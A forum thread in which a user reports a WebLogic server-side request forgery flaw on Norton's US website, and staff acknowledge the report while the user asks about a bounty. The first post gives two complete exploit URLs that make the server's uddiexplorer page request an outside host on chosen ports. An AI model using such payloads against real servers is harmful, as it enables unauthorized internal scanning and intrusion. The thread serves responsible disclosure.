WebLogic Server Side Request Forgery found on http://us.norton.com/

Archive
1

hey admin i have tried both open and close ports and found that the webserver of Norton is vulnerable to WebLogic Server Side Request Forgery as i have tried both open and closed port of website and it is found vulnerable. 
Open Port No error (https://us.norton.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://bxss.me:80&rdoSearch=name&txtSearchname=GD_ATTACKER&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search)

Closed Port error Found (https://us.norton.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://bxss.me:23&rdoSearch=name&txtSearchname=GD_ATTACKER&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search)

2

Hi @GD ATTACKER - thanks for the information. Our team has reviewed it and taken action. We appreciate your feedback. A team member will be contacting you shortly. Thanks.

3

ahh ok i hope i get a positive reply soon

4

Depends how soon a Symantec employee is able to respond.

5

ahh ok so how much time they take for that

6

Symantec may contact you for more details.

 

7

they improved that flow but  I need proper fund or kudos for my efforts

8

what u mean

9

hey but why no  bounty and no kudos  for me i reported that 

10

doubly

11

Symantec has been notified.